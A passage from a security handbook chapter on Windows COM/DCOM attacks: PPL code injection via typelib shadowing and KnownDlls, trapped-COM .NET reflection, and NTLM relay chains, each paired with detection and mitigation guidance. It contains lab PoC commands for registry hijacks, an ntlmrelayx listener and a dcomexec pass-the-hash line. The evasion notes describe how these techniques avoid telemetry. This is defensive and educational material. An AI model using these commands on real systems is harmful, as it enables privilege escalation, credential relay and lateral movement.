**MITRE:** [T1055](https://attack.mitre.org/techniques/T1055/) · **Since:** October/November 2018, James Forshaw, Google Project Zero ([20],[21]) · **Affects:** Windows 10 — the Part 2 chain works through 1809; the interpreter route was fixed in 1803; the KnownDlls technique was killed by Microsoft in July 2022
|
||||||
|
|
||||||
|
> **Beginner note:** **PPL** (Protected Process Light) marks a process so that only code signed at an equal or higher *signer level* can open full-access handles to it — even administrators and other SYSTEM processes are locked out. Levels seen in this chapter: `PPL-CodeGen` (the .NET Runtime Optimization Service, which caches signing levels for UMCI), `PPL-WindowsTCB`, and full `PP-WindowsTCB`. PPL guards the crown jewels (LSASS — T1003.001 is the classic end-goal), so injecting unsigned code into PPL is both an evasion and an escalation primitive. Microsoft does **not** consider PPL a security boundary under its servicing criteria — these techniques earned no CVEs and no bounties on their own (caveat: that boundary rationale is an inference from Microsoft's response).
|
||||||
|
|
||||||
|
This two-part Project Zero work was the first public, no-admin, userland code execution inside PPL up to `PPL-WindowsTCB` and full `PP-WindowsTCB`. Its real legacy is the primitive it established — **type-library substitution → type confusion inside the COM stub** — later reused by itm4n's PPLdump/PPLmedic and by MDSec's `IRundown::DoCallback` injection ([20],[23],[24],[25]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the left column is the attacker's userland, the right column the protected process; arrows show where data crosses the trust boundary (typelib shadow, marshaled pipe, the zeroing write, the induced DLL load). The bottom strip is the fixes timeline — note that each fix killed a technique, not the bug class.*
|
||||||
|
|
||||||
|
#### Mechanics — Part 1: PPL via COM type confusion + KnownDlls ([20])
|
||||||
|
|
||||||
|
1. **Target:** the .NET Runtime Optimization Service (`mscorsvw.exe`, NGEN), which runs at `PPL-CodeGen`.
|
||||||
|
2. **COM exposure:** `ngen install x.dll` makes mscorsvw marshal a private, .NET-implemented class factory (`CorSvcBindToWorkerClassFactory`) over a named pipe via `CoMarshalInterface` — a COM server living inside PPL.
|
||||||
|
3. **Bug class:** COM proxies/stubs are generated at runtime *from a Type Library*. The typelib is registered in HKLM, but `HKCU\Software\Classes\TypeLib` **shadows** it for the current user — no admin needed to substitute a modified definition.
|
||||||
|
4. **Confusion:** the modified typelib changes one method signature — `[out] long*` → `[in] long` on `ICorSvcPooledWorker::CanReuseProcess`. The server-side stub now unmarshals an attacker-chosen *integer* as a *pointer* → type confusion → controlled write of `0` to an arbitrary address.
|
||||||
|
5. **Data-only weaponization:** aim the write at the loader global `LdrpKnownDllDirectoryHandle`. Pre-fill the child PPL's handle table with inheritable handles to a *fake* KnownDlls object directory; a 32-bit write zeroes the top 16 bits of the real handle value, aliasing it to the fake. An induced DLL load then maps unsigned code into the PPL and runs `DllMain`. **No thread injection, no ROP, no CFG bypass.**
|
||||||
|
6. **Escalation to `PPL-WinTcb`:** abuse the `CiSetFileCache` cached-signing backdoor to cache-sign an arbitrary DLL as Microsoft/WinTcb.
|
||||||
|
|
||||||
|
#### Mechanics — Part 2: full PP-WindowsTCB via IRundown::DoCallback ([21])
|
||||||
|
|
||||||
|
1. COM-hijack CLSID `{07FC2B94-5285-417E-8AC3-C2CE5240B0FA}` with `ThreadingModel="Free"` (HKCU) inside the PP target; inherit the fake KnownDlls handles.
|
||||||
|
2. Start `WerFaultSecure.exe` at `PP-WindowsTCB` dumping an AppContainer process — using the vulnerable **Windows 8.1** WerFaultSecure, whose dumps are unencrypted.
|
||||||
|
3. Parse the dump for the per-process **COM security secret**, context pointer, and the IPID of the undocumented `IRundown` interface (present in every COM-remoting process).
|
||||||
|
4. `IRundown::DoCallback(fn, param)` executes an arbitrary function with one pointer argument inside the PP: overwrite `LdrpKnownDllDirectoryHandle`, then `LoadLibrary` a fake KnownDll. Works on Windows 10 **through 1809**. Corollary: arbitrary memory read in any COM-remoting process → arbitrary execute — again without thread creation or allocation APIs. MDSec later productized exactly this as a general process-injection primitive (April 2022) ([25]).
|
||||||
|
|
||||||
|
#### Microsoft response and the fix timeline
|
||||||
|
|
||||||
|
- PPL is not a security boundary per Microsoft's servicing criteria → no CVEs/bounties for PPL-only issues; the work was **fixed anyway**.
|
||||||
|
- The JScript/scriptlet PPL-injection route (P0 Issue 1336) was fixed in Windows 10 **1803**: CI.DLL's `CipMitigatePPLBypassThroughInterpreters` blocks `scrobj.dll`, `scrrun.dll`, `jscript.dll`, `jscript9.dll`, and `vbscript.dll` from loading into protected processes — note this directly closes a Squiblydoo-into-PPL path.
|
||||||
|
- `CVE-2017-11830` — the `CiSetFileCache` TOCTOU security-feature bypass (P0 Issue 1332) used for the WinTcb escalation ([22]).
|
||||||
|
- **July 2022:** Microsoft stopped initializing `\KnownDlls` in PPL processes, killing the PPLdump variant — but the underlying *signature-not-verified-on-section-map* issue remained, and PPLmedic (2023) re-proved the class ([23],[24]).
|
||||||
|
- Follow-on tooling: itm4n's PPLdump/PPLmedic/PPLKiller, gabriellandau's PPLFault, MDSec's `IRundown::DoCallback` injection, and ANGRYORCHARD.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user (Part 1 needs no admin); the WinTcb escalation uses the CiSetFileCache bug ([22]) |
|
||||||
|
| OS/build | Windows 10; Part 2 works through 1809; KnownDlls technique dead post-July 2022 ([23]) |
|
||||||
|
| Config | .NET Runtime Optimization Service available; ability to write `HKCU\Software\Classes\TypeLib` |
|
||||||
|
| Evasion posture | No `CreateRemoteThread`, no allocation APIs, no ROP/CFG bypass — invisible to classic injection telemetry |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
Full weaponized code is in the referenced tooling ([24],[25]); the lab-reproducible core is the typelib shadow. *(illustrative — verify in lab; use OleViewDotNet/midl to export, edit, and rebuild the typelib)*
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 1. Export the ICorSvcPooledWorker typelib (OleViewDotNet), edit CanReuseProcess:
|
||||||
|
# HRESULT CanReuseProcess([in] long dwProcessId); // was [out] long*
|
||||||
|
# 2. Rebuild (midl) and register the modified typelib under the HKCU shadow hive:
|
||||||
|
reg add "HKCU\Software\Classes\TypeLib\<typelib-guid>\<version>" /ve /d "shadow" /f
|
||||||
|
# 3. Trigger the PPL COM server so its stub picks up the shadowed definition:
|
||||||
|
ngen install x.dll
|
||||||
|
# 4. Invoke CanReuseProcess with a pointer-sized integer; the server writes 0 there.
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon EID 12/13/14:** writes under `HKCU\Software\Classes\TypeLib\{...}` — the shadow registration is the highest-fidelity artifact; alert on any typelib write outside installers.
|
||||||
|
- **Sysmon EID 17/18:** named-pipe creation/connection around `mscorsvw.exe` (the marshaled class factory).
|
||||||
|
- **Sysmon EID 8 blind spot:** this chain performs *no* `CreateRemoteThread` — teach it as the canonical evasion gap for injection detections built on EID 8.
|
||||||
|
- **ETW:** `Microsoft-Windows-Threat-Intelligence` (`{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}`) observes the injection-style memory behavior; consumers must run PPL themselves.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- The interpreter blocklist (1803+) and the July 2022 KnownDlls change are the platform mitigations; keep builds current.
|
||||||
|
- Monitor/protect the HKCU `TypeLib` and `CLSID` hives; treat user-writable shadows of HKLM COM registrations as anomalous by policy.
|
||||||
|
- Remember the residual class: signature verification on section mapping is still the load-bearing assumption PPLmedic exploits ([24]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Trapped COM Objects: Fileless Execution Inside PPL
|
||||||
|
|
||||||
|
### Trapped COM objects (IDispatch-driven .NET reflection inside the server process)
|
||||||
|
|
||||||
|
**MITRE:** [T1559.001](https://attack.mitre.org/techniques/T1559/001/) + [T1055](https://attack.mitre.org/techniques/T1055/) (in-PPL execution) · **Since:** January 2025, James Forshaw, Project Zero ([26]) · **Affects:** Windows 10/11 — the WaaSMedicSvc PPL variant fails on updated Windows 11 (CLR cannot load into that PPL); the bug class remains open ([29])
|
||||||
|
|
||||||
|
> **Beginner note:** A **trapped COM object** is a marshal-by-reference object that lives server-side: the client holds only a proxy, and every method call executes in the server's process and security context. Forshaw's insight is that a trapped object is not just a call proxy — through `IDispatch::GetTypeInfo` the client can browse the *server's* type libraries and coax the server into activating new objects in its own context. The defense-evasion angle: everything after activation is registry edits, RPC calls, and .NET reflection — **no file, no script, no injection API**.
|
||||||
|
|
||||||
|
The bug class was published as "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com, January 2025 by URL; commonly reported February 2025) ([26]). Microsoft's position: not a security-boundary violation (admin→PPL is not a defended boundary) → **a detection problem, no CVE as of writing**.
|
||||||
|
|
||||||
|
#### Mechanics ([26])
|
||||||
|
|
||||||
|
1. Client activates an out-of-process COM server; the returned marshal-by-reference object is **trapped** server-side — calls execute in the server.
|
||||||
|
2. Via `IDispatch::GetTypeInfo` → `ITypeLib`, enumerate the typelibs the *server* references — including stdole (`{00020430-0000-0000-C000-000000000046}`, stdole2.tlb). Request a new `StdFont` object (`{0BE35203-8F91-11CE-9DE3-00AA004BB851}`) through the trapped object — it is resolved **in the server process context**: another trapped object.
|
||||||
|
3. **Redirect StdFont to .NET:** hijack the StdFont COM registration (HKCU locally; remote registry remotely — the CLSID-redirection primitive catalogued under T1546.015) so activation yields a `.NET System.Object` CCW. Set `AllowDCOMReflection=1` and `OnlyUseLatestCLR=1` under `Software\Microsoft\.NETFramework` to make .NET reflection usable over DCOM.
|
||||||
|
4. **Reflection chain:** `GetType()` → `Assembly` → `Assembly.Load(byte[])` → arbitrary managed code *inside the server-side DCOM process* — fileless; `mscoree`/`clr`/`clrjit` are Microsoft-signed, so the loaded runtime is PPL image-signature compatible.
|
||||||
|
5. **Demo target:** the `WaaSRemediationAgent` COM class hosted by WaaSMedicSvc (Windows Update Medic Service) — a PPL (`PsProtectedSignerWindows-Light`) svchost running as SYSTEM → code execution inside PPL as SYSTEM. (The class's CLSID is not public; refer to it by class name.)
|
||||||
|
|
||||||
|
#### Operationalizations
|
||||||
|
|
||||||
|
- **IBM X-Force — ForsHops (Tran & Bayne, March 2025)** ([27],[28]): "Fileless lateral movement with trapped COM objects." Remote chain: (1) remotely set `AllowDCOMReflection`/`OnlyUseLatestCLR`; (2) remotely hijack StdFont → System.Object; (3) create WaaSRemediationAgent over DCOM; (4) resolve the trapped StdFont→System.Object inside the remote WaaSMedicSvc PPL; (5) `Assembly.Load` → SYSTEM inside a protected, signed process, **zero files** — the only disk artifacts are registry values.
|
||||||
|
- **Outflank (Kyle Avery, July 2025)** ([29]): the WaaSMedicSvc/PPL approach fails on updated Windows 11 because the CLR can't load into that PPL — a *target-specific* failure, not a *class-specific* one; LLM-assisted registry enumeration found alternative trapped-COM classes that still work.
|
||||||
|
- **T3nb3w ComDotNetExploit:** a local PPL-injection PoC variant of the same chain.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local: admin-tier for the PPL target path (admin→PPL is the accepted precondition). Remote (ForsHops): rights to write the target's registry and activate DCOM objects |
|
||||||
|
| OS/build | Windows 10/11; WaaSMedicSvc variant broken on updated Win11 — enumerate alternative classes ([29]) |
|
||||||
|
| Config | StdFont registration hijack; `AllowDCOMReflection=1`, `OnlyUseLatestCLR=1` under `Software\Microsoft\.NETFramework` |
|
||||||
|
| Evasion posture | Fileless; no AMSI surface (no script content); only registry + RPC + reflection telemetry |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
The registry precondition (local form; the remote form writes the same values over remote registry) *(illustrative — verify in lab)*:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 1. Enable .NET reflection over DCOM:
|
||||||
|
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v AllowDCOMReflection /t REG_DWORD /d 1 /f
|
||||||
|
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v OnlyUseLatestCLR /t REG_DWORD /d 1 /f
|
||||||
|
# 2. Hijack StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) registration in HKCU
|
||||||
|
# so its activation yields a .NET System.Object CCW.
|
||||||
|
# 3. Activate the trapped target (e.g., WaaSRemediationAgent in WaaSMedicSvc),
|
||||||
|
# walk IDispatch -> GetTypeInfo -> ITypeLib, request StdFont, then:
|
||||||
|
# GetType() -> Assembly -> Assembly.Load(byte[]) # runs inside the server/PPL
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **High-fidelity registry artifacts (Sysmon EID 12/13/14):** `AllowDCOMReflection` / `OnlyUseLatestCLR` set to 1 under `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\` — near-signature for this class; plus the StdFont CLSID redirection under `HKCU\Software\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}` (see the KQL queries in section 8).
|
||||||
|
- **Image loads (Sysmon EID 7):** `clr.dll`/`clrjit.dll`/`mscoree.dll` appearing in `svchost.exe`/`dllhost.exe` that host DCOM services.
|
||||||
|
- **No AMSI, no EID 8:** native stages leave content scanners and CreateRemoteThread analytics blind — Microsoft explicitly framed the class as a *detection problem* ([26]).
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Alert on the `.NETFramework` reflection values and any HKCU CLSID shadowing; both are policy-hostile in enterprise images.
|
||||||
|
- Restrict remote registry and DCOM activation rights; segment 135/dynamic RPC (section 8 hardening).
|
||||||
|
- Treat CLR loads inside DCOM-hosting svchost instances as an incident trigger.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. DCOM and NTLM Relay Chains
|
||||||
|
|
||||||
|
### DCOM as an NTLM relay trigger (RemotePotato0 and RemoteMonologue)
|
||||||
|
|
||||||
|
**MITRE:** [T1557.001](https://attack.mitre.org/techniques/T1557/001/) (relay; potato lineage [T1134.001](https://attack.mitre.org/techniques/T1134/001/); RemoteMonologue also [T1021.003](https://attack.mitre.org/techniques/T1021/003/)) · **Since:** potato lineage from Forshaw's 2015 local NTLM reflection; RemotePotato0 — 2021, Cocomazzi & Pierini ([32]); RemoteMonologue — April 2025, Andrew Oliveau, IBM X-Force ([30],[31]) · **Affects:** chains below; RemotePotato0 needs an interactively logged-on privileged user on the victim
|
||||||
|
|
||||||
|
> **Beginner note:** **NTLM relay** is a man-in-the-middle attack on NTLM authentication: the attacker induces ("**coerces**") a victim to authenticate *to the attacker*, then forwards that authentication to a third service (LDAP, AD CS, SMB) as the victim. The three moves are: trigger an authentication, relay it somewhere useful, profit. COM's role in this chapter is strictly the **trigger**.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the COM objects and OXID resolution live on the left (the trigger), the relay plumbing in the middle, and the relay targets on the right. The annotations mark KB5004442's hardening and the DistributedCOM 10036-10038 events — note they sit on the activation path, not the relay path.*
|
||||||
|
|
||||||
|
#### Mechanics — RemotePotato0 ([32])
|
||||||
|
|
||||||
|
1. Lineage: Forshaw's local NTLM reflection (P0, April 2015, since fixed) — a marshaled `OBJREF_STANDARD` with attacker-chosen RPC binding strings made a DCOM client bind to a fake OXID resolver and perform NTLM authentication, reflected to a local DCOM activation for a SYSTEM token. That bug birthed the potato family (T1134.001).
|
||||||
|
2. The operator marshals an `IStorage` object (`CoGetInstanceFromIStorage`) and hands the OBJREF to a *remote* DCOM activator for a CLSID configured to run as **Interactive User** — default PoC `{5167B42F-C111-47A1-ACC4-8EABE61B0B54}`; BrowserBroker `{0002DF02-0000-0000-C000-000000000046}` also works.
|
||||||
|
3. The victim resolves the OXID against the **attacker's resolver** (port 135 redirect).
|
||||||
|
4. Authenticated `ResolveOxid2`/`IRemUnknown2` calls arrive at the attacker — carrying the NTLM authentication of the **interactively logged-on user** (prerequisite: a privileged user must be interactively logged on).
|
||||||
|
5. Relay the captured authentication RPC/TCP → HTTP wrapper → `ntlmrelayx` → LDAP / AD CS (ESC8) / SMB → domain admin.
|
||||||
|
|
||||||
|
#### Mechanics — RemoteMonologue ([30],[31])
|
||||||
|
|
||||||
|
1. With local admin: take `SeTakeOwnershipPrivilege` on `HKCR\AppID\{AppID}` and set `RunAs = "Interactive User"` on a chosen object.
|
||||||
|
2. Remotely instantiate the object and invoke a method/property that dereferences an attacker UNC path.
|
||||||
|
3. The server authenticates to the attacker as the logged-on user (or the machine account) — coerced NTLM, ready to relay.
|
||||||
|
4. Verified coercion-capable objects:
|
||||||
|
|
||||||
|
| Object | CLSID | Coercion vector |
|
||||||
|
|---|---|---|
|
||||||
|
| ServerDataCollectorSet | `{03837546-098B-11D8-9414-505054503030}` | `DataManager.Extract` UNC parameter |
|
||||||
|
| FileSystemImage | `{2C941FC5-975B-59BE-A960-9A2A262853A5}` | `WorkingDirectory` property |
|
||||||
|
| UpdateSession | `{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}` | `AddScanPackageService` |
|
||||||
|
| MSTSWebProxy | (ProgID/class per tool) | UNC dereference |
|
||||||
|
|
||||||
|
5. Extras: NetNTLMv1 downgrade when `LmCompatibilityLevel ≤ 2`, and WebClient abuse via `\\host@80\file` paths to coerce over HTTP instead of SMB.
|
||||||
|
|
||||||
|
#### OXID resolver abuse
|
||||||
|
|
||||||
|
`IOXIDResolver`/`IObjectExporter` (UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, port 135/epmap) is the service every potato/coercion abuses: OXID resolution is what redirects the victim's DCOM client to the attacker. It is also an unauthenticated recon source — `ServerAlive2` leaks the target's network interfaces (impacket's `oxidresolver`) ([35]).
|
||||||
|
|
||||||
|
#### Why you relay FROM DCOM, not TO DCOM
|
||||||
|
|
||||||
|
> **Key idea:** **"You relay FROM DCOM, not TO DCOM."** DCOM is a coercion *source*. As a relay *destination*, DCOM activation is closed.
|
||||||
|
|
||||||
|
- PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN `RpcRemoteFindFirstPrinterChangeNotification(Ex)`) coerce machine-account authentication over SMB/named-pipe RPC — they are **not DCOM**. Their coerced authentication relays to LDAP(S)/AD CS, not to DCOM activation.
|
||||||
|
- DCOM as a relay target was closed by CVE-2021-26414 "DCOM Hardening" (KB5004442): activation now requires `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` or higher. Timeline: opt-in June 2021 → enabled by default June 2022 → mandatory March 2023, controlled by `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel` ([34]).
|
||||||
|
- New DistributedCOM events accompany the hardening: **10036** (server-side refusal of an activation below PKT_INTEGRITY — logs user/SID/client IP), **10037/10038** (client-side too-low authentication level).
|
||||||
|
- The RunAs=Interactive User bug class is a decade old: CVE-2017-0100 (MS17-012, March 2017, "Windows HelpPane EoP", CVSS 7.8, Win7-10/2008R2-2016) was a DCOM object in Helppane.exe configured `RunAs=Interactive User` that failed to validate clients → LPE. RemoteMonologue is the 2025 remote re-weaponization of the same class ([33],[30]).
|
||||||
|
|
||||||
|
#### Pass-the-hash with DCOM: yes
|
||||||
|
|
||||||
|
`dcomexec.py -hashes LMHASH:NTHASH user@target` works with the MMC20/ShellWindows/ShellBrowserWindow objects; CrackMapExec has `-dcom` ([35]). Requirements: NTLM allowed, remote Launch/Activation rights (default Administrators), and `LocalAccountTokenFilterPolicy=1` for local non-RID500 accounts. Compatible with KB5004442 because impacket speaks PKT_INTEGRITY. Maps to T1550.002 + T1021.003.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | RemotePotato0: low-privilege operator position + privileged user interactively logged on at victim. RemoteMonologue: local admin (for the AppID takeover) |
|
||||||
|
| OS/build | Relay-to-DCOM closed on hardened builds (KB5004442 mandatory March 2023); relay *from* DCOM unaffected |
|
||||||
|
| Config | Attacker-controlled OXID resolver/135 redirect (potatoes); NTLM relay targets (LDAP/AD CS/SMB) without signing/EPA |
|
||||||
|
| Evasion posture | Registry writes (RemoteMonologue AppID `RunAs`), 135 redirect traffic, and relay-protocol indicators are the observable surface |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
Lab relay skeleton *(illustrative — verify flags in lab)*:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Attacker: relay listener awaiting the coerced authentication
|
||||||
|
ntlmrelayx.py -t ldaps://dc01.lab.local # or http://ca.lab.local/certsrv (ESC8) / smb://host
|
||||||
|
# Operator host: trigger the victim's DCOM client against the attacker's resolver
|
||||||
|
RemotePotato0.exe # default CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54}
|
||||||
|
# RemoteMonologue (IBM PoC): set RunAs, then remotely invoke the UNC-dereferencing method
|
||||||
|
```
|
||||||
|
|
||||||
|
Pass-the-hash variant (from impacket, ([35])):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
dcomexec.py -object MMC20 -hashes LMHASH:NTHASH user@target
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **DistributedCOM 10036** is the KB5004442 server-side refusal — it logs user/SID/client IP and fires both on attacks *and* on hardening misconfiguration; 10037/10038 are the client-side counterparts. 10016 (permission denied) indicates probing.
|
||||||
|
- **Registry (Sysmon 12/13/14):** `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` tampering (RemoteMonologue — KQL in section 8); `LmCompatibilityLevel` changes (NTLMv1 downgrade); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper).
|
||||||
|
- **Network:** workstation→workstation 135 + dynamic ports; 135 redirects to attacker hosts; HTTP on port 80 from WebClient-style `\\host@80\file` coercion.
|
||||||
|
- **Auth telemetry:** Security 4624 Type 3 NTLM + 4672 on unexpected hosts; relay destinations see logons from the *victim's* context originating at the *attacker's* host.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Enforce KB5004442 (`RequireIntegrityActivationAuthenticationLevel=1`; alert on `=0`), LDAP signing + channel binding, SMB signing, and AD CS EPA — these collectively break the relay destinations, which is what actually blunts coercion ([34]).
|
||||||
|
- Disable WebClient where not needed; turn NTLMv1 off (`LmCompatibilityLevel=5`).
|
||||||
|
- Inventory AppIDs with `RunAs = "Interactive User"` and alert on changes; block workstation↔workstation 135.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Detection Engineering
|
||||||
|
|
||||||
|
This section consolidates every telemetry source named in the chapter into deployable form. Structure: what an EDR sees during a DCOM activation → per-source indicator tables → named analytics → KQL hunting queries → hardening baseline.
|
||||||
|
|
||||||
|
### 8.1 What an EDR sees during a DCOM activation
|
||||||
|
|
||||||
|
1. Inbound TCP/135 → endpoint mapper → dynamic port; `RemoteCreateInstance` executes inside `svchost -k DcomLaunch`. **Gap:** raw RPC ETW does not carry the remote IP (the Zero Networks gap — see RPC Firewall below) ([37]).
|
||||||
|
2. Security 4624 Type 3 NTLM logon; 4672 if the account is privileged.
|
||||||
|
3. DcomLaunch spawns the server: `mmc.exe -Embedding`, `explorer.exe`, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding` — **the lineage anchor**.
|
||||||
|
4. AppID/CLSID registry reads.
|
||||||
|
5. Outbound callbacks to the client.
|
||||||
|
|
||||||
|
### 8.2 Sysmon indicator table
|
||||||
|
|
||||||
|
| Event ID | What to alert on |
|
||||||
|
|---|---|
|
||||||
|
| 1 (process) | `regsvr32` with `/i:` + URL + `scrobj.dll`; `mmc.exe -Embedding` child of svchost (Sigma `f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`); anomalous `dllhost.exe /Processid:`; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with `.sct`; PowerShell containing `GetTypeFromCLSID`/`GetTypeFromProgID`/`Activator]::CreateInstance`/`ExecuteShellCommand`/`ShellExecute`/`DDEInitiate` |
|
||||||
|
| 3 (network) | `regsvr32` outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound |
|
||||||
|
| 7 (image load) | `scrobj.dll` in regsvr32; jscript/vbscript/scrrun in unusual hosts; `clr.dll`/`clrjit.dll`/`mscoree.dll` in dllhost/svchost/mmc/explorer (DotNetToJScript and trapped COM) |
|
||||||
|
| 8 (CreateRemoteThread) | **COM injection mostly does NOT trip EID 8** — teach as an evasion gap |
|
||||||
|
| 11 (file create) | `.sct` drops |
|
||||||
|
| 12/13/14 (registry) | Writes under `HKCU\Software\Classes\CLSID\{...}\(InprocServer32|LocalServer32|TreatAs|ProgID)` and `...\TypeLib\{...}`; `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` (RemoteMonologue); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper); `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\` values `AllowDCOMReflection`, `OnlyUseLatestCLR` (trapped COM — high fidelity); `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel` (NTLMv1 downgrade) |
|
||||||
|
| 17/18 (pipes) | Named pipes around `mscorsvw.exe` (marshaling) |
|
||||||
|
| 22 (DNS) | regsvr32 DNS lookups for scriptlet hosts |
|
||||||
|
|
||||||
|
### 8.3 Windows event log table
|
||||||
|
|
||||||
|
| Source / ID | Relevance |
|
||||||
|
|---|---|
|
||||||
|
| Security 4688 | Mirror of Sysmon 1 |
|
||||||
|
| 4624 Type 3, 4625, 4648, 4672 | NTLM network logons and privilege use around DCOM/relay |
|
||||||
|
| 4657/4663 | Registry auditing with SACLs on `Classes\AppID`/`CLSID` |
|
||||||
|
| 5156/5158 (WFP) | Connection telemetry — noisy |
|
||||||
|
| 5712 (RPC filter) | **Unreliable** — do not build on it |
|
||||||
|
| DistributedCOM 10016 | Permission denied — probing |
|
||||||
|
| DistributedCOM 10036/10037/10038 | KB5004442 refusals (10036 logs user/SID/client IP) |
|
||||||
|
| DistributedCOM 10006/10009/10028 | DCOM error context |
|
||||||
|
| PowerShell 4104 | Script-block content (`ExecuteShellCommand`, `GetTypeFromCLSID` — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block") ([45]) |
|
||||||
|
| AppLocker 8004 | Blocked execution (policy working) |
|
||||||
|
|
||||||
|
### 8.4 ETW providers (verified GUIDs; cross-checked against the public ETW GUID compilation ([40]))
|
||||||
|
|
||||||
|
| Provider | GUID | Use |
|
||||||
|
|---|---|---|
|
||||||
|
| Microsoft-Windows-RPC | `{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}` (Debug) | EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry") ([36]) |
|
||||||
|
| Microsoft-Windows-RPC-Events | `{F4AED7C7-A898-4627-B053-44A7CAA12FCD}` | RPC operational |
|
||||||
|
| Microsoft-Windows-RPCSS | `{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}` | RPCSS/DcomLaunch host |
|
||||||
|
| Microsoft-Windows-COMRuntime | `{BF406804-6AFA-46E7-8A48-6C357E1D6D61}` | COM activation/runtime (verbose) |
|
||||||
|
| Microsoft-Windows-COM-Perf | `{B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}` | perf |
|
||||||
|
| Microsoft-Windows-COM-RundownInstrumentation | `{2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}` | rundown |
|
||||||
|
| Microsoft-Windows-DotNETRuntime | `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | assembly loads/JIT in COM hosts |
|
||||||
|
| Microsoft-Windows-Threat-Intelligence | `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | injection behaviors (consumers must run PPL) |
|
||||||
|
|
||||||
|
### 8.5 DCOM interface UUIDs to key on
|
||||||
|
|
||||||
|
| Interface | UUID |
|
||||||
|
|---|---|
|
||||||
|
| IRemoteSCMActivator | `{4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}` |
|
||||||
|
| ISystemActivator | `{000001A0-0000-0000-C000-000000000046}` |
|
||||||
|
| IObjectExporter / IOXIDResolver | `{99FCFEC4-5260-101B-BBCB-00AA0021347A}` |
|
||||||
|
| IRemUnknown | `{00000131-0000-0000-C000-000000000046}` |
|
||||||
|
| IRemUnknown2 | `{00000143-0000-0000-C000-000000000046}` |
|
||||||
|
| IUnknown | `{00000000-0000-0000-C000-000000000046}` |
|
||||||
|
| (chain context) MS-EFSR | `{C681D488-D850-11D0-8C52-00C04FD90F7E}` |
|
||||||
|
| (chain context) MS-RPRN | `{AE33069B-A2A8-46EE-A235-DDFD339BE281}` / `{12345678-1234-ABCD-EF00-0123456789AB}` |
|
||||||
|
|
||||||
|
### 8.6 RPC Firewall: closing the remote-IP gap
|
||||||
|
|
||||||
|
Raw RPC ETW lacks the remote IP, so DCOM activation attribution is weak natively. Zero Networks' **RPC Firewall** closes the gap: per-call UUID/opnum/source-IP/principal in the RPCFW log (EID 3), with a Sigma rule "Remote DCOM/WMI Lateral Movement" (`68050b10-e477-4377-a99b-3721b422d6ef`) ([37],[38]). The native RPC filter event 5712 is unreliable; treat RPC Firewall (or equivalent RPC filters) as the deployable answer, and collect RPC ETW EID 5/6 on critical hosts ([36],[39]).
|
||||||
|
|
||||||
|
### 8.7 Named analytics to deploy
|
||||||
|
|
||||||
|
| Source | Asset |
|
||||||
|
|---|---|
|
||||||
|
